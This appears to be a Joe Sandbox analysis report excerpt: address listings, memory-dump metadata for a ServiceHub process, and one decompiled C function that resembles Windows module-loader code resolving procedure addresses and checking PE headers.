                                          0x011d2195
                                          0x01215a03
                                          0x01215a06
                                          0x01215a0c
                                          0x01215a0f
                                          0x01215a11
                                          0x01215a13
                                          0x01215a13
                                          0x01215a19
                                          0x01215a1f
                                          0x00000000
                                          0x011d219b
                                          0x011d219b
                                          0x011d21a0
                                          0x011d2282
                                          0x011d2284
                                          0x011d2284
                                          0x011d2284
                                          0x011d2284
                                          0x011d21a6
                                          0x011d21a9
                                          0x011d21ac
                                          0x011d21ae
                                          0x011d21b3
                                          0x011d228b
                                          0x011d2290
                                          0x011d2379
                                          0x011d2296
                                          0x011d2298
                                          0x011d2298
                                          0x011d2290
                                          0x011d21b9
                                          0x011d21be
                                          0x011d22a2
                                          0x011d22a2
                                          0x011d21c4
                                          0x011d21c8
                                          0x011d21cc
                                          0x011d21d0
                                          0x011d21d4
                                          0x011d21de
                                          0x011d21e3
                                          0x01215a29
                                          0x01215a2c
                                          0x00000000
                                          0x00000000
                                          0x01215a3b
                                          0x00000000
                                          0x011d21e9
                                          0x011d21e9
                                          0x011d21e9
                                          0x011d21ee
                                          0x011d21f1
                                          0x01215a45
                                          0x01215a4b
                                          0x01215a52
                                          0x01215a58
                                          0x01215a5d
                                          0x01215a5f
                                          0x01215a71
                                          0x01215a61
                                          0x01215a6a
                                          0x01215a6a
                                          0x01215a76
                                          0x01215a79
                                          0x01215a7f
                                          0x01215a83
                                          0x01215a85
                                          0x01215a87
                                          0x01215a87
                                          0x01215a8c
                                          0x01215a91
                                          0x01215a97
                                          0x01215a9f
                                          0x01215aa0
                                          0x01215aa1
                                          0x01215aa6
                                          0x01215aab
                                          0x01215ab1
                                          0x01215ab3
                                          0x01215ab9
                                          0x01215aca
                                          0x01215ad4
                                          0x01215ad4
                                          0x01215ade
                                          0x01215ade
                                          0x01215aab
                                          0x01215a79
                                          0x01215a52
                                          0x011d21f7
                                          0x011d21f9
                                          0x011d21fe
                                          0x011d21fe
                                          0x011d21e3
                                          0x011d2195
                                          0x011d236c
                                          0x011d2122
                                          0x011d2122
                                          0x011d2124
                                          0x011d2231
                                          0x011d2236
                                          0x011d2236
                                          0x011d2238
                                          0x011d2238
                                          0x011d2240
                                          0x011d2242
                                          0x011d2244
                                          0x012159fc
                                          0x011d218c
                                          0x011d218c
                                          0x00000000
                                          0x011d218c
                                          0x011d224a
                                          0x011d224f
                                          0x011d2256
                                          0x011d2304
                                          0x011d2309
                                          0x011d230f
                                          0x011d231e
                                          0x011d231e
                                          0x011d231e
                                          0x011d2320
                                          0x011d2325
                                          0x011d232a
                                          0x011d232c
                                          0x011d233e
                                          0x011d233e
                                          0x00000000
                                          0x011d232c
                                          0x011d2311
                                          0x011d2317
                                          0x011d231a
                                          0x011d231c
                                          0x011d2380
                                          0x011d2380
                                          0x011d2380
                                          0x011d2384
                                          0x00000000
                                          0x00000000
                                          0x011d2386
                                          0x00000000
                                          0x011d231c
                                          0x011d225c
                                          0x011d225c
                                          0x00000000
                                          0x011d225c
                                          0x011d212a
                                          0x011d2134
                                          0x011d2138
                                          0x011d213d
                                          0x01215858
                                          0x01215863
                                          0x01215863
                                          0x01215867
                                          0x0121586a
                                          0x00000000
                                          0x00000000
                                          0x0121586c
                                          0x0121586c
                                          0x01215871
                                          0x01215875
                                          0x01215877
                                          0x01215997
                                          0x0121599c
                                          0x012159a1
                                          0x012159a7
                                          0x012159a7
                                          0x00000000
                                          0x012159a7
                                          0x0121587d
                                          0x00000000
                                          0x0121588b
                                          0x0121588b
                                          0x01215890
                                          0x01215892
                                          0x01215894
                                          0x01215899
                                          0x0121589b
                                          0x012158a0
                                          0x012158a0
                                          0x012158aa
                                          0x012158b2
                                          0x012158b6
                                          0x012158be
                                          0x012158c6
                                          0x012158c9
                                          0x0121590d
                                          0x01215917
                                          0x0121591a
                                          0x0121591c
                                          0x01215920
                                          0x01215928
                                          0x0121592a
                                          0x0121592c
                                          0x0121592e
                                          0x0121592e
                                          0x012158cb
                                          0x012158cd
                                          0x012158d8
                                          0x012158e0
                                          0x012158f4
                                          0x012158fe
                                          0x012158fe
                                          0x0121593a
                                          0x0121593e
                                          0x01215940
                                          0x01215942
                                          0x00000000
                                          0x01215944
                                          0x01215944
                                          0x01215949
                                          0x0121594e
                                          0x0121594e
                                          0x01215953
                                          0x0121595b
                                          0x01215976
                                          0x01215976
                                          0x0121597a
                                          0x0121597f
                                          0x00000000
                                          0x00000000
                                          0x00000000
                                          0x00000000
                                          0x01215981
                                          0x01215981
                                          0x01215981
                                          0x01215983
                                          0x01215988
                                          0x0121598d
                                          0x01215991
                                          0x01215991
                                          0x00000000
                                          0x0121595d
                                          0x0121595d
                                          0x01215963
                                          0x01215965
                                          0x00000000
                                          0x00000000
                                          0x00000000
                                          0x00000000
                                          0x01215967
                                          0x01215967
                                          0x0121596b
                                          0x0121596d
                                          0x00000000
                                          0x00000000
                                          0x0121596f
                                          0x01215971
                                          0x01215971
                                          0x01215974
                                          0x00000000
                                          0x00000000
                                          0x00000000
                                          0x01215974
                                          0x00000000
                                          0x01215967
                                          0x0121595b
                                          0x01215942
                                          0x01215863
                                          0x011d2143
                                          0x011d2143
                                          0x011d2149
                                          0x011d214f
                                          0x011d22f1
                                          0x011d22f6
                                          0x00000000
                                          0x011d2173
                                          0x011d2173
                                          0x011d217d
                                          0x011d2181
                                          0x011d2186
                                          0x012159ae
                                          0x012159b2
                                          0x012159b5
                                          0x012159b7
                                          0x012159ba
                                          0x012159cd
                                          0x012159d1
                                          0x012159d5
                                          0x012159d9
                                          0x012159db
                                          0x00000000
                                          0x00000000
                                          0x012159dd
                                          0x012159dd
                                          0x012159e1
                                          0x012159e4
                                          0x012159e7
                                          0x012159ee
                                          0x012159ee
                                          0x012159f3
                                          0x012159f3
                                          0x00000000
                                          0x011d2186
                                          0x011d214f
                                          0x011d2106
                                          0x011d2266
                                          0x011d20d8
                                          0x011d20da
                                          0x011d20e0
                                          0x00000000
                                          0x00000000
                                          0x00000000

                                          Memory Dump Source
                                          • Source File: 00000011.00000002.571893766.0000000001180000.00000040.00001000.00020000.00000000.sdmp, Offset: 01180000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_17_2_1180000_ServiceHub.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 596f7e2f5f1abf7872fcfa3f7decf1efdfa97714f40953a2d8d2272e9fc729c5
                                          • Instruction ID: 735b742c7c5f264a0363e15b50a8f58508b644fd29c565b4f9617ab263e34aea
                                          • Opcode Fuzzy Hash: 596f7e2f5f1abf7872fcfa3f7decf1efdfa97714f40953a2d8d2272e9fc729c5
                                          • Instruction Fuzzy Hash: 0BF116316183429FDB2ECF2CC44076A7BE2AFD6314F09855DFAA58B285D774D841CB92
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 011BD5E0 Relevance: .4, Instructions: 353COMMONCrypto
                                          Download Yara Rule
                                          C-Code - Quality: 87%
                                          			E011BD5E0(signed int _a4, signed int _a8, signed int _a12, intOrPtr* _a16, signed int _a20, signed int _a24) {
				signed int _v8;
				intOrPtr _v20;
				signed int _v36;
				intOrPtr* _v40;
				signed int _v44;
				signed int _v48;
				signed char _v52;
				signed int _v60;
				signed int _v64;
				signed int _v68;
				signed int _v72;
				signed int _v76;
				intOrPtr _v80;
				signed int _v84;
				intOrPtr _v100;
				intOrPtr _v104;
				signed int _v108;
				signed int _v112;
				signed int _v116;
				intOrPtr _v120;
				signed int _v132;
				char _v140;
				char _v144;
				char _v157;
				signed int _v164;
				signed int _v168;
				signed int _v169;
				intOrPtr _v176;
				signed int _v180;
				signed int _v184;
				intOrPtr _v188;
				signed int _v192;
				signed int _v200;
				signed int _v208;
				intOrPtr* _v212;
				char _v216;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t204;
				void* _t208;
				signed int _t211;
				signed int _t216;
				intOrPtr _t217;
				intOrPtr* _t218;
				signed int _t226;
				signed int _t239;
				signed int* _t247;
				signed int _t249;
				void* _t252;
				signed int _t256;
				signed int _t269;
				signed int _t271;
				signed int _t277;
				signed int _t279;
				intOrPtr _t283;
				signed int _t287;
				signed int _t288;
				void* _t289;
				signed char _t290;
				signed int _t292;
				signed int* _t293;
				signed int _t306;
				signed int _t307;
				signed int _t308;
				signed int _t309;
				signed int _t310;
				intOrPtr _t311;
				intOrPtr _t312;
				signed int _t319;
				signed int _t320;
				signed int* _t324;
				signed int _t337;
				signed int _t338;
				signed int _t339;
				signed int* _t340;
				void* _t341;
				signed int _t344;
				signed int _t348;
				signed int _t349;
				signed int _t351;
				intOrPtr _t353;
				void* _t354;
				signed int _t356;
				signed int _t358;
				intOrPtr _t359;
				signed int _t363;
				signed short* _t365;
				void* _t367;
				intOrPtr _t369;
				void* _t370;
				signed int _t371;
				signed int _t372;
				void* _t374;
				signed int _t376;
				void* _t384;
				signed int _t387;

				_v8 =  *0x129d360 ^ _t376;
				_t2 =  &_a20;
				 *_t2 = _a20 & 0x00000001;
				_t287 = _a4;
				_v200 = _a12;
				_t365 = _a8;
				_v212 = _a16;
				_v180 = _a24;
				_v168 = 0;
				_v157 = 0;
				if( *_t2 != 0) {
					__eflags = E011B6600(0x12952d8);
					if(__eflags == 0) {
						goto L1;
					} else {
						_v188 = 6;
					}
				} else {
					L1:
					_v188 = 9;
				}
				if(_t365 == 0) {
					_v164 = 0;
					goto L5;
				} else {
					_t363 =  *_t365 & 0x0000ffff;
					_t341 = _t363 + 1;
					if((_t365[1] & 0x0000ffff) < _t341) {
						L109:
						__eflags = _t341 - 0x80;
						if(_t341 <= 0x80) {
							_t281 =  &_v140;
							_v164 =  &_v140;
							goto L114;
						} else {
							_t283 =  *0x1297b9c; // 0x0
							_t281 = L011C4620(_t341,  *((intOrPtr*)( *[fs:0x30] + 0x18)), _t283 + 0x180000, _t341);
							_v164 = _t281;
							__eflags = _t281;
							if(_t281 != 0) {
								_v157 = 1;
								L114:
								E011EF3E0(_t281, _t365[2], _t363);
								_t200 = _v164;
								 *((char*)(_v164 + _t363)) = 0;
								goto L5;
							} else {
								_t204 = 0xc000009a;
								goto L47;
							}
						}
					} else {
						_t200 = _t365[2];
						_v164 = _t200;
						if( *((char*)(_t200 + _t363)) != 0) {
							goto L109;
						} else {
							while(1) {
								L5:
								_t353 = 0;
								_t342 = 0x1000;
								_v176 = 0;
								if(_t287 == 0) {
									break;
								}
								_t384 = _t287 -  *0x1297b90; // 0x77090000
								if(_t384 == 0) {
									_t353 =  *0x1297b8c; // 0xd42c58
									_v176 = _t353;
									_t320 = ( *(_t353 + 0x50))[8];
									_v184 = _t320;
								} else {
									E011C2280(_t200, 0x12984d8);
									_t277 =  *0x12985f4; // 0xd43148
									_t351 =  *0x12985f8 & 1;
									while(_t277 != 0) {
										_t337 =  *(_t277 - 0x50);
										if(_t337 > _t287) {
											_t338 = _t337 | 0xffffffff;
										} else {
											asm("sbb ecx, ecx");
											_t338 =  ~_t337;
										}
										_t387 = _t338;
										if(_t387 < 0) {
											_t339 =  *_t277;
											__eflags = _t351;
											if(_t351 != 0) {
												__eflags = _t339;
												if(_t339 == 0) {
													goto L16;
												} else {
													goto L118;
												}
												goto L151;
											} else {
												goto L16;
											}
											goto L17;
										} else {
											if(_t387 <= 0) {
												__eflags = _t277;
												if(_t277 != 0) {
													_t340 =  *(_t277 - 0x18);
													_t24 = _t277 - 0x68; // 0xd430e0
													_t353 = _t24;
													_v176 = _t353;
													__eflags = _t340[3] - 0xffffffff;
													if(_t340[3] != 0xffffffff) {
														_t279 =  *_t340;
														__eflags =  *(_t279 - 0x20) & 0x00000020;
														if(( *(_t279 - 0x20) & 0x00000020) == 0) {
															asm("lock inc dword [edi+0x9c]");
															_t340 =  *(_t353 + 0x50);
														}
													}
													_v184 = _t340[8];
												}
											} else {
												_t339 =  *(_t277 + 4);
												if(_t351 != 0) {
													__eflags = _t339;
													if(_t339 == 0) {
														goto L16;
													} else {
														L118:
														_t277 = _t277 ^ _t339;
														goto L17;
													}
													goto L151;
												} else {
													L16:
													_t277 = _t339;
												}
												goto L17;
											}
										}
										goto L25;
										L17:
									}
									L25:
									E011BFFB0(_t287, _t353, 0x12984d8);
									_t320 = _v184;
									_t342 = 0x1000;
								}
								if(_t353 == 0) {
									break;
								} else {
									_t366 = 0;
									if(( *( *[fs:0x18] + 0xfca) & _t342) != 0 || _t320 >= _v188) {
										_t288 = _v164;
										if(_t353 != 0) {
											_t342 = _t288;
											_t374 = E011FCC99(_t353, _t288, _v200, 1,  &_v168);
											if(_t374 >= 0) {
												if(_v184 == 7) {
													__eflags = _a20;
													if(__eflags == 0) {
														__eflags =  *( *[fs:0x18] + 0xfca) & 0x00001000;
														if(__eflags != 0) {
															_t271 = E011B6600(0x12952d8);
															__eflags = _t271;
															if(__eflags == 0) {
																_t342 = 0;
																_v169 = _t271;
																_t374 = E011B7926( *(_t353 + 0x50), 0,  &_v169);
															}
														}
													}
												}
												if(_t374 < 0) {
													_v168 = 0;
												} else {
													if( *0x129b239 != 0) {
														_t342 =  *(_t353 + 0x18);
														E0122E974(_v180,  *(_t353 + 0x18), __eflags, _v168, 0,  &_v168);
													}
													if( *0x1298472 != 0) {
														_v192 = 0;
														_t342 =  *0x7ffe0330;
														asm("ror edi, cl");
														 *0x129b1e0( &_v192, _t353, _v168, 0, _v180);
														 *( *0x129b218 ^  *0x7ffe0330)();
														_t269 = _v192;
														_t353 = _v176;
														__eflags = _t269;
														if(__eflags != 0) {
															_v168 = _t269;
														}
													}
												}
											}
											if(_t374 == 0xc0000135 || _t374 == 0xc0000142) {
												_t366 = 0xc000007a;
											}
											_t247 =  *(_t353 + 0x50);
											if(_t247[3] == 0xffffffff) {
												L40:
												if(_t366 == 0xc000007a) {
													__eflags = _t288;
													if(_t288 == 0) {
														goto L136;
													} else {
														_t366 = 0xc0000139;
													}
													goto L54;
												}
											} else {
												_t249 =  *_t247;
												if(( *(_t249 - 0x20) & 0x00000020) != 0) {
													goto L40;
												} else {
													_t250 = _t249 | 0xffffffff;
													asm("lock xadd [edi+0x9c], eax");
													if((_t249 | 0xffffffff) == 0) {
														E011C2280(_t250, 0x12984d8);
														_t342 =  *(_t353 + 0x54);
														_t165 = _t353 + 0x54; // 0x54
														_t252 = _t165;
														__eflags =  *(_t342 + 4) - _t252;
														if( *(_t342 + 4) != _t252) {
															L135:
															asm("int 0x29");
															L136:
															_t288 = _v200;
															_t366 = 0xc0000138;
															L54:
															_t342 = _t288;
															L011E3898(0, _t288, _t366);
														} else {
															_t324 =  *(_t252 + 4);
															__eflags =  *_t324 - _t252;
															if( *_t324 != _t252) {
																goto L135;
															} else {
																 *_t324 = _t342;
																 *(_t342 + 4) = _t324;
																_t293 =  *(_t353 + 0x50);
																_v180 =  *_t293;
																E011BFFB0(_t293, _t353, 0x12984d8);
																__eflags =  *((short*)(_t353 + 0x3a));
																if( *((short*)(_t353 + 0x3a)) != 0) {
																	_t342 = 0;
																	__eflags = 0;
																	E011E37F5(_t353, 0);
																}
																E011E0413(_t353);
																_t256 =  *(_t353 + 0x48);
																__eflags = _t256;
																if(_t256 != 0) {
																	__eflags = _t256 - 0xffffffff;
																	if(_t256 != 0xffffffff) {
																		E011D9B10(_t256);
																	}
																}
																__eflags =  *(_t353 + 0x28);
																if( *(_t353 + 0x28) != 0) {
																	_t174 = _t353 + 0x24; // 0x24
																	E011D02D6(_t174);
																}
																L011C77F0( *0x1297b98, 0, _t353);
																__eflags = _v180 - _t293;
																if(__eflags == 0) {
																	E011DC277(_t293, _t366);
																}
																_t288 = _v164;
																goto L40;
															}
														}
													} else {
														goto L40;
													}
												}
											}
										}
									} else {
										L011BEC7F(_t353);
										L011D19B8(_t287, 0, _t353, 0);
										_t200 = E011AF4E3(__eflags);
										continue;
									}
								}
								L41:
								if(_v157 != 0) {
									L011C77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t288);
								}
								if(_t366 < 0 || ( *0x129b2f8 |  *0x129b2fc) == 0 || ( *0x129b2e4 & 0x00000001) != 0) {
									L46:
									 *_v212 = _v168;
									_t204 = _t366;
									L47:
									_pop(_t354);
									_pop(_t367);
									_pop(_t289);
									return E011EB640(_t204, _t289, _v8 ^ _t376, _t342, _t354, _t367);
								} else {
									_v200 = 0;
									if(( *0x129b2ec >> 0x00000008 & 0x00000003) == 3) {
										_t355 = _v168;
										_t342 =  &_v208;
										_t208 = E01256B68(_v168,  &_v208, _v168, __eflags);
										__eflags = _t208 - 1;
										if(_t208 == 1) {
											goto L46;
										} else {
											__eflags = _v208 & 0x00000010;
											if((_v208 & 0x00000010) == 0) {
												goto L46;
											} else {
												_t342 = 4;
												_t366 = E01256AEB(_t355, 4,  &_v216);
												__eflags = _t366;
												if(_t366 >= 0) {
													goto L46;
												} else {
													asm("int 0x29");
													_t356 = 0;
													_v44 = 0;
													_t290 = _v52;
													__eflags = 0;
													if(0 == 0) {
														L108:
														_t356 = 0;
														_v44 = 0;
														goto L63;
													} else {
														__eflags = 0;
														if(0 < 0) {
															goto L108;
														}
														L63:
														_v112 = _t356;
														__eflags = _t356;
														if(_t356 == 0) {
															L143:
															_v8 = 0xfffffffe;
															_t211 = 0xc0000089;
														} else {
															_v36 = 0;
															_v60 = 0;
															_v48 = 0;
															_v68 = 0;
															_v44 = _t290 & 0xfffffffc;
															E011BE9C0(1, _t290 & 0xfffffffc, 0, 0,  &_v68);
															_t306 = _v68;
															__eflags = _t306;
															if(_t306 == 0) {
																_t216 = 0xc000007b;
																_v36 = 0xc000007b;
																_t307 = _v60;
															} else {
																__eflags = _t290 & 0x00000001;
																if(__eflags == 0) {
																	_t349 =  *(_t306 + 0x18) & 0x0000ffff;
																	__eflags = _t349 - 0x10b;
																	if(_t349 != 0x10b) {
																		__eflags = _t349 - 0x20b;
																		if(_t349 == 0x20b) {
																			goto L102;
																		} else {
																			_t307 = 0;
																			_v48 = 0;
																			_t216 = 0xc000007b;
																			_v36 = 0xc000007b;
																			goto L71;
																		}
																	} else {
																		L102:
																		_t307 =  *(_t306 + 0x50);
																		goto L69;
																	}
																	goto L151;
																} else {
																	_t239 = L011BEAEA(_t290, _t290, _t356, _t366, __eflags);
																	_t307 = _t239;
																	_v60 = _t307;
																	_v48 = _t307;
																	__eflags = _t307;
																	if(_t307 != 0) {
																		L70:
																		_t216 = _v36;
																	} else {
																		_push(_t239);
																		_push(0x14);
																		_push( &_v144);
																		_push(3);
																		_push(_v44);
																		_push(0xffffffff);
																		_t319 = E011E9730();
																		_v36 = _t319;
																		__eflags = _t319;
																		if(_t319 < 0) {
																			_t216 = 0xc000001f;
																			_v36 = 0xc000001f;
																			_t307 = _v60;
																		} else {
																			_t307 = _v132;
																			L69:
																			_v48 = _t307;
																			goto L70;
																		}
																	}
																}
															}
															L71:
															_v72 = _t307;
															_v84 = _t216;
															__eflags = _t216 - 0xc000007b;
															if(_t216 == 0xc000007b) {
																L150:
																_v8 = 0xfffffffe;
																_t211 = 0xc000007b;
															} else {
																_t344 = _t290 & 0xfffffffc;
																_v76 = _t344;
																__eflags = _v40 - _t344;
																if(_v40 <= _t344) {
																	goto L150;
																} else {
																	__eflags = _t307;
																	if(_t307 == 0) {
																		L75:
																		_t217 = 0;
																		_v104 = 0;
																		__eflags = _t366;
																		if(_t366 != 0) {
																			__eflags = _t290 & 0x00000001;
																			if((_t290 & 0x00000001) != 0) {
																				_t217 = 1;
																				_v104 = 1;
																			}
																			_t290 = _v44;
																			_v52 = _t290;
																		}
																		__eflags = _t217 - 1;
																		if(_t217 != 1) {
																			_t369 = 0;
																			_t218 = _v40;
																			goto L91;
																		} else {
																			_v64 = 0;
																			E011BE9C0(1, _t290, 0, 0,  &_v64);
																			_t309 = _v64;
																			_v108 = _t309;
																			__eflags = _t309;
																			if(_t309 == 0) {
																				goto L143;
																			} else {
																				_t226 =  *(_t309 + 0x18) & 0x0000ffff;
																				__eflags = _t226 - 0x10b;
																				if(_t226 != 0x10b) {
																					__eflags = _t226 - 0x20b;
																					if(_t226 != 0x20b) {
																						goto L143;
																					} else {
																						_t371 =  *(_t309 + 0x98);
																						goto L83;
																					}
																				} else {
																					_t371 =  *(_t309 + 0x88);
																					L83:
																					__eflags = _t371;
																					if(_t371 != 0) {
																						_v80 = _t371 - _t356 + _t290;
																						_t310 = _v64;
																						_t348 = _t310 + 0x18 + ( *(_t309 + 0x14) & 0x0000ffff);
																						_t292 =  *(_t310 + 6) & 0x0000ffff;
																						_t311 = 0;
																						__eflags = 0;
																						while(1) {
																							_v120 = _t311;
																							_v116 = _t348;
																							__eflags = _t311 - _t292;
																							if(_t311 >= _t292) {
																								goto L143;
																							}
																							_t359 =  *((intOrPtr*)(_t348 + 0xc));
																							__eflags = _t371 - _t359;
																							if(_t371 < _t359) {
																								L98:
																								_t348 = _t348 + 0x28;
																								_t311 = _t311 + 1;
																								continue;
																							} else {
																								__eflags = _t371 -  *((intOrPtr*)(_t348 + 0x10)) + _t359;
																								if(_t371 >=  *((intOrPtr*)(_t348 + 0x10)) + _t359) {
																									goto L98;
																								} else {
																									__eflags = _t348;
																									if(_t348 == 0) {
																										goto L143;
																									} else {
																										_t218 = _v40;
																										_t312 =  *_t218;
																										__eflags = _t312 -  *((intOrPtr*)(_t348 + 8));
																										if(_t312 >  *((intOrPtr*)(_t348 + 8))) {
																											_v100 = _t359;
																											_t360 = _v108;
																											_t372 = L011B8F44(_v108, _t312);
																											__eflags = _t372;
																											if(_t372 == 0) {
																												goto L143;
																											} else {
																												_t290 = _v52;
																												_t369 = _v80 +  *((intOrPtr*)(_t372 + 0xc)) - _v100 + _v112 - E011E3C00(_t360, _t290,  *((intOrPtr*)(_t372 + 0xc)));
																												_t307 = _v72;
																												_t344 = _v76;
																												_t218 = _v40;
																												goto L91;
																											}
																										} else {
																											_t290 = _v52;
																											_t307 = _v72;
																											_t344 = _v76;
																											_t369 = _v80;
																											L91:
																											_t358 = _a4;
																											__eflags = _t358;
																											if(_t358 == 0) {
																												L95:
																												_t308 = _a8;
																												__eflags = _t308;
																												if(_t308 != 0) {
																													 *_t308 =  *((intOrPtr*)(_v40 + 4));
																												}
																												_v8 = 0xfffffffe;
																												_t211 = _v84;
																											} else {
																												_t370 =  *_t218 - _t369 + _t290;
																												 *_t358 = _t370;
																												__eflags = _t370 - _t344;
																												if(_t370 <= _t344) {
																													L149:
																													 *_t358 = 0;
																													goto L150;
																												} else {
																													__eflags = _t307;
																													if(_t307 == 0) {
																														goto L95;
																													} else {
																														__eflags = _t370 - _t344 + _t307;
																														if(_t370 >= _t344 + _t307) {
																															goto L149;
																														} else {
																															goto L95;
																														}
																													}
																												}
																											}
																										}
																									}
																								}
																							}
																							goto L97;
																						}
																					}
																					goto L143;
																				}
																			}
																		}
																	} else {
																		__eflags = _v40 - _t307 + _t344;
																		if(_v40 >= _t307 + _t344) {
																			goto L150;
																		} else {
																			goto L75;
																		}
																	}
																}
															}
														}
														L97:
														 *[fs:0x0] = _v20;
														return _t211;
													}
												}
											}
										}
									} else {
										goto L46;
									}
								}
								goto L151;
							}
							_t288 = _v164;
							_t366 = 0xc0000135;
							goto L41;
						}
					}
				}
				L151:
			}





































































































                                          0x011bd5f2
                                          0x011bd5f5
                                          0x011bd5f5
                                          0x011bd5fd
                                          0x011bd600
                                          0x011bd60a
                                          0x011bd60d
                                          0x011bd617
                                          0x011bd61d
                                          0x011bd627
                                          0x011bd62e
                                          0x011bd911
                                          0x011bd913
                                          0x00000000
                                          0x011bd919
                                          0x011bd919
                                          0x011bd919
                                          0x011bd634
                                          0x011bd634
                                          0x011bd634
                                          0x011bd634
                                          0x011bd640
                                          0x011bd8bf
                                          0x00000000
                                          0x011bd646
                                          0x011bd646
                                          0x011bd64d
                                          0x011bd652
                                          0x0120b2fc
                                          0x0120b2fc
                                          0x0120b302
                                          0x0120b33b
                                          0x0120b341
                                          0x00000000
                                          0x0120b304
                                          0x0120b304
                                          0x0120b319
                                          0x0120b31e
                                          0x0120b324
                                          0x0120b326
                                          0x0120b332
                                          0x0120b347
                                          0x0120b34c
                                          0x0120b351
                                          0x0120b35a
                                          0x00000000
                                          0x0120b328
                                          0x0120b328
                                          0x00000000
                                          0x0120b328
                                          0x0120b326
                                          0x011bd658
                                          0x011bd658
                                          0x011bd65b
                                          0x011bd665
                                          0x00000000
                                          0x011bd66b
                                          0x011bd66b
                                          0x011bd66b
                                          0x011bd66b
                                          0x011bd66d
                                          0x011bd672
                                          0x011bd67a
                                          0x00000000
                                          0x00000000
                                          0x011bd680
                                          0x011bd686
                                          0x011bd8ce
                                          0x011bd8d4
                                          0x011bd8dd
                                          0x011bd8e0
                                          0x011bd68c
                                          0x011bd691
                                          0x011bd69d
                                          0x011bd6a2
                                          0x011bd6a7
                                          0x011bd6b0
                                          0x011bd6b5
                                          0x011bd6e0
                                          0x011bd6b7
                                          0x011bd6b7
                                          0x011bd6b9
                                          0x011bd6b9
                                          0x011bd6bb
                                          0x011bd6bd
                                          0x011bd6ce
                                          0x011bd6d0
                                          0x011bd6d2
                                          0x0120b363
                                          0x0120b365
                                          0x00000000
                                          0x0120b36b
                                          0x00000000
                                          0x0120b36b
                                          0x00000000
                                          0x00000000
                                          0x00000000
                                          0x00000000
                                          0x00000000
                                          0x011bd6bf
                                          0x011bd6bf
                                          0x011bd6e5
                                          0x011bd6e7
                                          0x011bd6e9
                                          0x011bd6ec
                                          0x011bd6ec
                                          0x011bd6ef
                                          0x011bd6f5
                                          0x011bd6f9
                                          0x011bd6fb
                                          0x011bd6fd
                                          0x011bd701
                                          0x011bd703
                                          0x011bd70a
                                          0x011bd70a
                                          0x011bd701
                                          0x011bd710
                                          0x011bd710
                                          0x011bd6c1
                                          0x011bd6c1
                                          0x011bd6c6
                                          0x0120b36d
                                          0x0120b36f
                                          0x00000000
                                          0x0120b375
                                          0x0120b375
                                          0x0120b375
                                          0x00000000
                                          0x0120b375
                                          0x00000000
                                          0x011bd6cc
                                          0x011bd6d8
                                          0x011bd6d8
                                          0x011bd6d8
                                          0x00000000
                                          0x011bd6c6
                                          0x011bd6bf
                                          0x00000000
                                          0x011bd6da
                                          0x011bd6da
                                          0x011bd716
                                          0x011bd71b
                                          0x011bd720
                                          0x011bd726
                                          0x011bd726
                                          0x011bd72d
                                          0x00000000
                                          0x011bd733
                                          0x011bd739
                                          0x011bd742
                                          0x011bd750
                                          0x011bd758
                                          0x011bd764
                                          0x011bd776
                                          0x011bd77a
                                          0x011bd783
                                          0x011bd928
                                          0x011bd92c
                                          0x011bd93d
                                          0x011bd944
                                          0x011bd94f
                                          0x011bd954
                                          0x011bd956
                                          0x011bd95f
                                          0x011bd961
                                          0x011bd973
                                          0x011bd973
                                          0x011bd956
                                          0x011bd944
                                          0x011bd92c
                                          0x011bd78b
                                          0x0120b394
                                          0x011bd791
                                          0x011bd798
                                          0x0120b3a3
                                          0x0120b3bb
                                          0x0120b3bb
                                          0x011bd7a5
                                          0x011bd866
                                          0x011bd870
                                          0x011bd892
                                          0x011bd898
                                          0x011bd89e
                                          0x011bd8a0
                                          0x011bd8a6
                                          0x011bd8ac
                                          0x011bd8ae
                                          0x011bd8b4
                                          0x011bd8b4
                                          0x011bd8ae
                                          0x011bd7a5
                                          0x011bd78b
                                          0x011bd7b1
                                          0x0120b3c5
                                          0x0120b3c5
                                          0x011bd7c3
                                          0x011bd7ca
                                          0x011bd7e5
                                          0x011bd7eb
                                          0x011bd8eb
                                          0x011bd8ed
                                          0x00000000
                                          0x011bd8f3
                                          0x011bd8f3
                                          0x011bd8f3
                                          0x00000000
                                          0x011bd8ed
                                          0x011bd7cc
                                          0x011bd7cc
                                          0x011bd7d2
                                          0x00000000
                                          0x011bd7d4
                                          0x011bd7d4
                                          0x011bd7d7
                                          0x011bd7df
                                          0x0120b3d4
                                          0x0120b3d9
                                          0x0120b3dc
                                          0x0120b3dc
                                          0x0120b3df
                                          0x0120b3e2
                                          0x0120b468
                                          0x0120b46d
                                          0x0120b46f
                                          0x0120b46f
                                          0x0120b475
                                          0x011bd8f8
                                          0x011bd8f9
                                          0x011bd8fd
                                          0x0120b3e8
                                          0x0120b3e8
                                          0x0120b3eb
                                          0x0120b3ed
                                          0x00000000
                                          0x0120b3ef
                                          0x0120b3ef
                                          0x0120b3f1
                                          0x0120b3f4
                                          0x0120b3fe
                                          0x0120b404
                                          0x0120b409
                                          0x0120b40e
                                          0x0120b410
                                          0x0120b410
                                          0x0120b414
                                          0x0120b414
                                          0x0120b41b
                                          0x0120b420
                                          0x0120b423
                                          0x0120b425
                                          0x0120b427
                                          0x0120b42a
                                          0x0120b42d
                                          0x0120b42d
                                          0x0120b42a
                                          0x0120b432
                                          0x0120b436
                                          0x0120b438
                                          0x0120b43b
                                          0x0120b43b
                                          0x0120b449
                                          0x0120b44e
                                          0x0120b454
                                          0x0120b458
                                          0x0120b458
                                          0x0120b45d
                                          0x00000000
                                          0x0120b45d
                                          0x0120b3ed
                                          0x00000000
                                          0x00000000
                                          0x00000000
                                          0x011bd7df
                                          0x011bd7d2
                                          0x011bd7ca
                                          0x0120b37c
                                          0x0120b37e
                                          0x0120b385
                                          0x0120b38a
                                          0x00000000
                                          0x0120b38a
                                          0x011bd742
                                          0x011bd7f1
                                          0x011bd7f8
                                          0x0120b49b
                                          0x0120b49b
                                          0x011bd800
                                          0x011bd837
                                          0x011bd843
                                          0x011bd845
                                          0x011bd847
                                          0x011bd84a
                                          0x011bd84b
                                          0x011bd84e
                                          0x011bd857
                                          0x011bd818
                                          0x011bd824
                                          0x011bd831
                                          0x0120b4a5
                                          0x0120b4ab
                                          0x0120b4b3
                                          0x0120b4b8
                                          0x0120b4bb
                                          0x00000000
                                          0x0120b4c1
                                          0x0120b4c1
